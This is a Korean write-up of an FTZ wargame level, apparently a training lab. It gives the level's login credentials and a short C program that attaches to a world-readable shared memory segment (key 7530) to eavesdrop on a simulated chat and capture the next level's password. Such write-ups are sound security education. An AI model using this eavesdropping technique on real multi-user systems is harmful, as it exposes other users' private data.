ID : level10
PW : interesting to hack!
level10에 접속하자!
[level10@ftz level10]$ ls -al
total 84
drwxr-xr-x 5 root level10 4096 Jan 14 2010 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r----- 1 root level10 253 Jan 14 2010 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-x--- 2 root root 4096 Mar 29 2003 program
drwxr-xr-x 2 root level10 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level10 4096 Jan 16 2009 tmp
-rw------- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
힌트 파일을 읽어봅시다.
[level10@ftz level10]$ cat hint
두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며,
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여
level11의 권한을 얻어라.
- 레벨을 완료하셨다면 소스는 지우고 나가주세요.
공유 메모리를 이용해서 만들어졌다고 합니다.
* 공유 메모리
- 컴퓨터 환경에서 여러 프로그램이 동시에 접근할 수 있는 메모리이다. 과다한 복사를 피하거나 해당 프로그램 간 통신을 위해 고안되었다. 환경에 따라 프로그램은 하나의 프로세서에서나 여러 개의 프로세서에서 실행할 수 있다.
* 공유 메모리 정보 확인
ipcs 명령어를 사용해서 정보를 확인할 수 있다.
-m : 현재 사용중인 ipc 자원정보
-l : ipc자원 제한 정보
확인해봅시다.
[level10@ftz level10]$ ipcs
------ Shared Memory Segments --------
key shmid owner perms bytes nattch status
0x00001d6a 0 root 666 1028 0
------ Semaphore Arrays --------
key semid owner perms nsems
------ Message Queues --------
key msqid owner perms used-bytes messages
[level10@ftz level10]$
다음 정보들을 얻을 수 있습니다.
0x00001d6a == 7530
perms == 666
bytes == 1028
[level10@ftz level10]$ cd tmp
[level10@ftz tmp]$ vi attack.c
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
int main(){
int a;
char* b;
a = shmget(7530, 1028, IPC_CREAT|0666);
b = shmat(a, NULL, 0);
printf("%s\n",b);
return 0;
}
int shmget(key_t key, size_t size, int shmflg)
* shmflg 값
1. IPC_CREAT
- 새로운 영역을 할당한다. 만약 이 값이 사용되지 않았다면, shmget()은 key로 이미 생성된 접근 가능한 공유메모리 영역이 있는지 확인하고 이에 대한 식별자를 되돌려줄 것이다.
2. IPC_EXCL
- IPC_CREAT와 함께 사용하며 공유메모리 영역이 이미 존재하면 에러를 리턴한다.
3. mode_flags(하위 9bit)
- 접근 권한의 지정을 위해서 사용한다. 실행권한은 사용하지 않는다.
IPC_CREAT옵션으로 0666권한 설정
shmat 를 이용해서 공유메모리를 '사용가능' 설정
코드를 컴파일하고 실행해봅시다.
[level10@ftz tmp]$ gcc -o attack attack.c
[level10@ftz tmp]$ ls
attack attack.c
[level10@ftz tmp]$ ./attack
멍멍: level11의 패스워드는?
구타:
level10 클리어!